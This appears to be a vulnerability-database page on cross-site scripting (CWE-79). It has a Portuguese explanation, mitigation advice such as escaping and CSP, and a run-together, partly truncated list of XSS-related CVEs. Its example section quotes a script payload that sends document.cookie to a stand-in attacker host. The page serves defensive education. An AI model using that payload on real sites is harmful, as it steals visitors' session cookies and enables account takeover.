Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2018-0340—A vulnerability in the web framework of the Cisco Unified Communications Manager (Unified CM) software could allow an authenticated, remote EPSS 1.3%CVE-2024-41150MEDIUMStored XSSEPSS 1.3%CVE-2017-1303MEDIUMIBM WebSphere Portal and Web Content Manager 7.0, 8.0, 8.5, and 9.0 is vulnerable to cross-site scripting. This vulnerability allows users tEPSS 1.3%CVE-2020-11001MEDIUMPossible XSS attack in WagtailEPSS 1.3%CVE-2024-57273MEDIUMNetgate pfSense CE (prior to 2.8.0 beta release) and corresponding Plus builds is vulnerable to Cross-site scripting (XSS) in the Automatic EPSS 1.3%CVE-2022-1051—WPQA < 5.2 - Subscriber+ Stored Cross-Site Scripting via Profile fieldsEPSS 1.3%CVE-2019-1668MEDIUMCisco SocialMiner Chat Feed Cross-Site Scripting VulnerabilityEPSS 1.3%CVE-2019-1827MEDIUMCisco Small Business RV320 and RV325 Routers Online Help Reflected Cross-Site Scripting VulnerabilityEPSS 1.3%CVE-2019-1941MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilityEPSS 1.3%CVE-2022-46073MEDIUMHelmet Store Showroom 1.0 is vulnerable to Cross Site Scripting (XSS).EPSS 1.3%CVE-2018-0400—Multiple vulnerabilities in the web-based management interface of Cisco Unified Contact Center Express (Unified CCX) could allow an unauthenEPSS 1.3%CVE-2018-15440MEDIUMCisco Identity Services Engine Multiple Cross-Site Scripting VulnerabilitiesEPSS 1.3%CVE-2022-31064MEDIUMCross site scripting in username that will trigger by sending chatEPSS 1.3%CVE-2023-49088MEDIUMCacti has incomplete fix for CVE-2023-39515EPSS 1.3%CVE-2025-23199MEDIUMStored XSS-LibreNMS-Ports in librenmsEPSS 1.3%CVE-2023-51072MEDIUMA stored cross-site scripting (XSS) vulnerability in the NOC component of Nagios XI version up to and including 2024R1 allows low-privilegedEPSS 1.3%CVE-2022-0535—E2Pdf < 1.16.45 - Admin+ Stored Cross-Site Scripting (XSS)EPSS 1.3%CVE-2022-35740MEDIUMdotCMS before 22.06 allows remote attackers to bypass intended access control and obtain sensitive information by using a semicolon in a URLEPSS 1.3%CVE-2024-8695CRITICALA remote code execution (RCE) vulnerability via crafted extension description/changelog could be abused by a malicious extension in Docker Desktop before 4.34.2.EPSS 1.3%CVE-2021-30134MEDIUMphp-mod/curl (a wrapper of the PHP cURL extension) before 2.3.2 allows XSS via the post_file_path_upload.php key parameter and the POST dataEPSS 1.3%